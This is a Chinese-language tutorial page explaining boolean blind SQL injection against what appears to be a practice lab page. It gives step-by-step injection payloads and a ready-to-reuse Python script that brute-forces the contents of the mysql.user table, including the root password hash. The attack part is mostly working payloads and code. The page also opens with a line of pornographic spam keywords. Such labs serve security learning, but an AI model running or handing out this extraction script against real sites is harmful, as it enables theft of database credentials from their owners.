欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python猜解網(wǎng)站數(shù)據(jù)庫管理員密碼的腳本

 更新時間:2022年02月18日 10:07:19   作者:士別三日wyx  
這篇文章主要和大家分享一個Python腳本,可以實現(xiàn)猜解網(wǎng)站數(shù)據(jù)庫管理員的密碼。文中的示例代碼講解詳細,需要的小伙伴可以參考一下

一、功能分析

簡單分析一下網(wǎng)站的功能,大致如下:

需要用戶在地址欄中提交參數(shù),根據(jù)參數(shù)中的id查詢對應的用戶信息。

如果id存在,則顯示查詢成功,比如 輸入?id=1

如果id不存在,則頁面空顯示,比如輸入 ?id=0(用戶id不能是0或負數(shù),id為0時,查詢結(jié)果為空,會導致頁面空顯示)

如果數(shù)據(jù)庫報錯,頁面也是空顯示,比如輸入?id=1’ 或 ?id=1"(參數(shù)中攜帶引號會導致數(shù)據(jù)庫報錯,前提是后臺代碼未過濾單引號)

二、思路分析

頁面沒有顯示位,不適合聯(lián)合注入。

沒有數(shù)據(jù)庫的報錯信息,不適合使用報錯注入。

只有正確和錯誤兩種情況,推薦使用布爾盲注。

網(wǎng)站沒有過濾參數(shù),不需要繞過,盲注的時間復雜度較高,文末提供Python腳本。

三、步驟實現(xiàn)

1)判斷注入點

輸入?yún)?shù) ?id=1’,頁面空顯示,說明單引號被數(shù)據(jù)庫識別,導致數(shù)據(jù)庫報錯。

輸入?yún)?shù) ?id=1",頁面正常顯示查詢成功,說明雙引號未被數(shù)據(jù)庫識別;1" 被數(shù)據(jù)庫識別成了 1,實際查詢了id為1的用戶。

單引號可以識別,雙引號不被識別,初步判斷:網(wǎng)站的注入點是單引號,下面使用萬能賬號進一步驗證。

輸入 ?id=1’ and 1 – a,頁面正常顯示,查詢成功。

輸入 ?id=1’ and 0 – a,頁面空顯示,未查詢到。

人為構造參數(shù)可以使頁面產(chǎn)生對應的變化,由此判斷,網(wǎng)站存在注入,注入點為單引號字符型注入。

2)猜解長度

輸入?yún)?shù) ?id=1’ and length(“abc”)>1 – a,頁面正常顯示查詢成功。

length(“abc”)可以計算出字符串“abc”的長度,長度為3。

length(“abc”)>1 結(jié)果為 true,因此,參數(shù)等價于 ?id=1’ and 1 – a。

輸入?yún)?shù) ?id=1’ and length(“abc”)<1 – a,頁面空顯示。

length(“abc”)<1 結(jié)果為 false,參數(shù)等價于 ?id=1’ and 0 – a。

由此可以推斷出,長度函數(shù)未被過濾,可以正常使用,接下來我們開始猜解數(shù)據(jù)庫管理員密碼的長度。

mysql.user表用來存放數(shù)據(jù)庫的用戶名和密碼等信息,我們查詢這個表即可。

輸入以下payload:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

我們先假設用戶名和密碼的總長度為1,結(jié)果肯定是空顯示,我們將測試長度依次遞增,測試2到n,當測試長度遞增到42時,頁面正常顯示,由此可判斷用戶名和密碼的總長度為42,payload如下:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

3)猜解數(shù)據(jù)

長度確定后,我們從第一個字符開始,猜解出完整的數(shù)據(jù)。

ASCLL碼表中包含了字符的所有可能性(字母、數(shù)字或特殊符號),ASCLL總共127個字符,其中可輸入的字符只有32~126,我們窮舉每一種可能性,即可猜解出

完整的數(shù)據(jù)。

我們先假設第一個字符的ASCLL碼是32,payload如下:

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

頁面空顯示說明錯誤,我們從32開始遞增至126,當頁面正常顯示時(出現(xiàn) You are in……),說明猜解正確。

4)猜解腳本

使用盲注時,手動猜解時間成本太大,推薦使用Python猜解,腳本如下:

import requests

# 只需要修改url 和 兩個payload即可
# 目標網(wǎng)址(不帶參數(shù))
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解長度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 獲取長度
def getLength(url, payload):
    length = 1  # 初始測試長度為1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 頁面中出現(xiàn)此內(nèi)容則表示成功
        if 'You are in...........' in response.text:
            print('測試長度完成,長度為:', length)
            return length;
        else:
            print('正在測試長度:',length)
            length += 1  # 測試長度遞增

# 獲取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/庫名為空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '個字符猜解成功:', str)
                break;
    return str;

# 開始猜解
getStr(url, payload_str, getLength(url, payload_len))

腳本猜解結(jié)果如下,成功猜解root用戶密碼:

到此這篇關于Python猜解網(wǎng)站數(shù)據(jù)庫管理員密碼的腳本的文章就介紹到這了,更多相關Python猜解管理員密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • YOLOv5小目標切圖檢測的思路與方法

    YOLOv5小目標切圖檢測的思路與方法

    目標檢測Yolo算法是非常經(jīng)典且應用廣泛的算法,下面這篇文章主要給大家介紹了關于YOLOv5小目標切圖檢測的思路與方法,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考下
    2022-12-12
  • Python使用BeautifulSoup實現(xiàn)網(wǎng)頁鏈接的提取與分析

    Python使用BeautifulSoup實現(xiàn)網(wǎng)頁鏈接的提取與分析

    本文將詳細介紹如何使用Python的BeautifulSoup庫實現(xiàn)網(wǎng)頁鏈接的提取與分析,我們將從基礎概念講起,逐步深入到實際應用場景,包括HTML解析原理、鏈接提取技術、數(shù)據(jù)分析方法等,通過本文,讀者將學習如何對提取的鏈接數(shù)據(jù)進行有價值的分析,需要的朋友可以參考下
    2025-07-07
  • Python 含參構造函數(shù)實例詳解

    Python 含參構造函數(shù)實例詳解

    這篇文章主要介紹了Python 含參構造函數(shù)實例詳解的相關資料,需要的朋友可以參考下
    2017-05-05
  • python Scrapy爬蟲框架的使用

    python Scrapy爬蟲框架的使用

    這篇文章主要介紹了python Scrapy爬蟲框架的使用,幫助大家更好的理解和使用python,感興趣的朋友可以了解下
    2021-01-01
  • python制作爬蟲并將抓取結(jié)果保存到excel中

    python制作爬蟲并將抓取結(jié)果保存到excel中

    本文給大家記錄的是使用Python制作爬蟲爬取拉勾網(wǎng)信息并將結(jié)果保存到Excel中的實現(xiàn)思路及方法,并附上最終源碼,有需要的小伙伴可以參考下
    2016-04-04
  • Python學習筆記之json模塊和pickle模塊

    Python學習筆記之json模塊和pickle模塊

    json和pickle模塊是將數(shù)據(jù)進行序列化處理,并進行網(wǎng)絡傳輸或存入硬盤,下面這篇文章主要給大家介紹了關于Python學習筆記之json模塊和pickle模塊的相關資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下
    2023-05-05
  • 使用Python自制數(shù)據(jù)庫備份工具實現(xiàn)數(shù)據(jù)定時覆蓋

    使用Python自制數(shù)據(jù)庫備份工具實現(xiàn)數(shù)據(jù)定時覆蓋

    這篇文章主要為大家詳細介紹了如何使用Python自制數(shù)據(jù)庫備份工具實現(xiàn)數(shù)據(jù)定時覆蓋功能,文中的示例代碼講解詳細,需要的小伙伴可以參考下
    2024-03-03
  • python爬蟲如何解決圖片驗證碼

    python爬蟲如何解決圖片驗證碼

    這篇文章主要介紹了python爬蟲如何解決圖片驗證碼,幫助大家更好的理解和使用python,感興趣的朋友可以了解下
    2021-02-02
  • 使用Numpy打亂數(shù)組或打亂矩陣行

    使用Numpy打亂數(shù)組或打亂矩陣行

    這篇文章主要介紹了使用Numpy打亂數(shù)組或打亂矩陣行問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-05-05
  • python排序函數(shù)sort()與sorted()的區(qū)別

    python排序函數(shù)sort()與sorted()的區(qū)別

    這篇文章主要介紹了python排序函數(shù)sort()與sorted()的區(qū)別,需要的朋友可以參考下
    2018-09-09

最新評論